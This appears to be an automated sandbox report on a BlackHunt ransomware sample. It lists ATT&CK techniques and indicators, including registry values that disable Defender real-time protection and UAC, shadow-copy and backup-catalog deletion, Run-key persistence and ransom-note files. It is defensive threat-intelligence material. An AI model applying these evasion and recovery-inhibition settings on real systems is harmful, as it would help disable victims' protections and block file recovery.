639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784

Data Destruction

T1485

pid	Process
5656	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
5508	bcdedit.exe
5640	bcdedit.exe

Renames multiple (700) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5496	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\E:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\V:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\P:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\L:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\B:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\N:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\O:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\H:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\K:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\Z:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\X:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\G:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\T:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\A:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\Q:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\S:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\W:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\J:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\M:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\Y:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened (read-only)	\??\I:	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\public_suffix_list.dat	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_es.properties	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\public_suffix_list.dat	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\7-Zip\Lang\yo.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_streams.luac	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\net.properties	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\giflib.md	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\jopt-simple.md	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\hijrah-config-umalqura.properties	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_CopyDrop32x32.gif	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\gstreamer.md	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\cryptix.md	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\access_output\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaTypewriterRegular.ttf	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\mux\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\calendars.properties	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\java.security	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\TraceOpen.png	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dom.md	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xerces.md	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jvm.lib	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\logger\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ba.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hr.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\tzdb.dat	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libffi.md	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uk\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\dotnet\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.json	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
7104	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5944	vssadmin.exe
5848	vssadmin.exe
5832	vssadmin.exe
5540	vssadmin.exe
5600	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeRestorePrivilege	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeBackupPrivilege	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeTakeOwnershipPrivilege	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeAuditPrivilege	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeSecurityPrivilege	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeIncBasePriorityPrivilege	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeBackupPrivilege	5840	wbengine.exe
Token: SeRestorePrivilege	5840	wbengine.exe
Token: SeSecurityPrivilege	5840	wbengine.exe
Token: SeBackupPrivilege	5816	vssvc.exe
Token: SeRestorePrivilege	5816	vssvc.exe
Token: SeAuditPrivilege	5816	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4936 wrote to memory of 784	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	91
PID 4936 wrote to memory of 784	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	91
PID 4936 wrote to memory of 1648	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	94
PID 4936 wrote to memory of 1648	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	94
PID 4936 wrote to memory of 1544	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	96
PID 4936 wrote to memory of 1544	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	96
PID 4936 wrote to memory of 656	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	98
PID 4936 wrote to memory of 656	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	98
PID 784 wrote to memory of 1344	784	cmd.exe	93
PID 784 wrote to memory of 1344	784	cmd.exe	93
PID 4936 wrote to memory of 2132	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	100
PID 4936 wrote to memory of 2132	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	100
PID 1648 wrote to memory of 776	1648	cmd.exe	103
PID 1648 wrote to memory of 776	1648	cmd.exe	103
PID 1544 wrote to memory of 3016	1544	cmd.exe	102
PID 1544 wrote to memory of 3016	1544	cmd.exe	102
PID 656 wrote to memory of 816	656	cmd.exe	104
PID 656 wrote to memory of 816	656	cmd.exe	104
PID 4936 wrote to memory of 4948	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	105
PID 4936 wrote to memory of 4948	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	105
PID 2132 wrote to memory of 980	2132	cmd.exe	106
PID 2132 wrote to memory of 980	2132	cmd.exe	106
PID 4936 wrote to memory of 4796	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	108
PID 4936 wrote to memory of 4796	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	108
PID 4936 wrote to memory of 4076	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	110
PID 4936 wrote to memory of 4076	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	110
PID 4936 wrote to memory of 956	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	111
PID 4936 wrote to memory of 956	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	111
PID 4936 wrote to memory of 3312	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	125
PID 4936 wrote to memory of 3312	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	125
PID 4936 wrote to memory of 3008	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	124
PID 4936 wrote to memory of 3008	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	124
PID 4936 wrote to memory of 1384	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	123
PID 4936 wrote to memory of 1384	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	123
PID 4936 wrote to memory of 4720	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	114
PID 4936 wrote to memory of 4720	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	114
PID 4936 wrote to memory of 3772	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	121
PID 4936 wrote to memory of 3772	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	121
PID 4936 wrote to memory of 216	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	120
PID 4936 wrote to memory of 216	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	120
PID 4936 wrote to memory of 312	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	119
PID 4936 wrote to memory of 312	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	119
PID 4936 wrote to memory of 1972	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	122
PID 4936 wrote to memory of 1972	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	122
PID 4936 wrote to memory of 3780	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	126
PID 4936 wrote to memory of 3780	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	126
PID 4936 wrote to memory of 3332	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	130
PID 4936 wrote to memory of 3332	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	130
PID 4936 wrote to memory of 1204	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	129
PID 4936 wrote to memory of 1204	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	129
PID 4936 wrote to memory of 2948	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	135
PID 4936 wrote to memory of 2948	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	135
PID 4936 wrote to memory of 3732	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	139
PID 4936 wrote to memory of 3732	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	139
PID 4936 wrote to memory of 4408	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	150
PID 4936 wrote to memory of 4408	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	150
PID 4936 wrote to memory of 4200	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	140
PID 4936 wrote to memory of 4200	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	140
PID 4936 wrote to memory of 2720	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	148
PID 4936 wrote to memory of 2720	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	148
PID 4936 wrote to memory of 3344	4936	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	145
